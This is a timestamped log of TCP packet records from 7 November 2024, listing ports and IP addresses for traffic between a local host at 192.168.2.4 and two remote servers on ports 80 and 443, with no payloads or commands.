Nov 7, 2024 06:01:12.480986118 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.481019974 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.481034040 CET	49807	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.481040001 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.484189987 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.484215021 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.484312057 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.484568119 CET	49812	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.484580040 CET	443	49812	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.524385929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524411917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524424076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524436951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524449110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524458885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524467945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524482012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524498940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524502993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524512053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524524927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524537086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524538994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524549961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524560928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524560928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524573088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524584055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524585009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524601936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524605036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524619102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524630070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524635077 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524636030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524647951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524660110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524662971 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524672985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524681091 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524683952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524698019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524698973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524710894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524724007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524734974 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524753094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524771929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524781942 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524796963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524813890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524832964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524841070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524843931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524856091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524867058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524868011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524879932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524888992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524890900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524909019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524914026 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524916887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524935007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524949074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524957895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524969101 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524971008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524982929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.524992943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.524995089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525008917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525012016 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525039911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525079966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525091887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525101900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525113106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525125980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525135994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525136948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525146961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525156021 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525158882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525171041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525181055 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525182009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525196075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525206089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525217056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525228024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525228977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525238037 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525240898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525271893 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525299072 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525373936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525383949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525394917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525407076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525417089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525418043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525429010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525434971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525444984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.525451899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.525492907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547290087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547435045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547447920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547463894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547476053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547489882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547501087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547502995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547516108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547527075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547538996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547552109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547569036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547570944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547590017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547600031 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547604084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547610998 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547616005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547629118 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547641039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547655106 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547661066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547673941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547684908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547688007 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547698975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547709942 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547715902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547734022 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547734022 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547748089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547760010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547765970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547772884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547786951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547791958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547801018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547812939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547817945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547825098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547838926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547846079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547853947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547866106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547875881 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547887087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547895908 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547899008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547910929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547920942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547923088 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547933102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.547954082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547960997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.547983885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548324108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548340082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548351049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548367977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548379898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548382998 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548392057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548403978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548419952 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548449039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548465967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548476934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548487902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548500061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548507929 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548511028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548521996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548525095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548552990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548563957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548614979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548626900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548639059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548650980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548656940 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548665047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548672915 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548677921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548690081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548701048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548702002 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548713923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548726082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548758984 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548765898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548774958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548784971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548795938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548813105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548821926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548825026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548837900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548849106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548856020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548861027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548876047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548887014 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548892975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548904896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548908949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548921108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548932076 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548933029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548953056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548960924 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548964977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548979044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.548981905 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.548996925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549010038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549010992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549024105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549036026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549036980 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549047947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549055099 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549061060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549072981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549074888 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549088001 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549093008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549105883 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549112082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549127102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549135923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549138069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549150944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549156904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549169064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549175978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549185038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549197912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549211979 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549211979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549226999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549227953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549241066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549258947 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549259901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549273968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549288034 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549288034 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549302101 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549308062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549316883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549328089 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549335003 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549345016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549362898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549375057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549376011 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549398899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549402952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549407005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549416065 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549427032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549434900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549438953 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549451113 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549455881 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549467087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549484968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549484968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549484968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549501896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549524069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549549103 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549566031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549576998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549587011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549597979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549611092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549622059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549624920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549628019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549634933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549637079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549649000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549666882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549673080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549679995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549696922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549700975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549710989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549721956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549731016 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549735069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549746990 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549748898 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549760103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549772978 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549784899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549787045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549798965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549806118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549813032 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549828053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549871922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549876928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549890041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549901962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549920082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549928904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549932003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549943924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549948931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549956083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549962997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549974918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.549983025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.549994946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550004005 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550009966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550019979 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550024033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550036907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550046921 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550065041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550076008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550077915 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550087929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550100088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550111055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550122023 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550127029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.550137997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.550158024 CET	49797	80	192.168.2.4	185.215.113.16
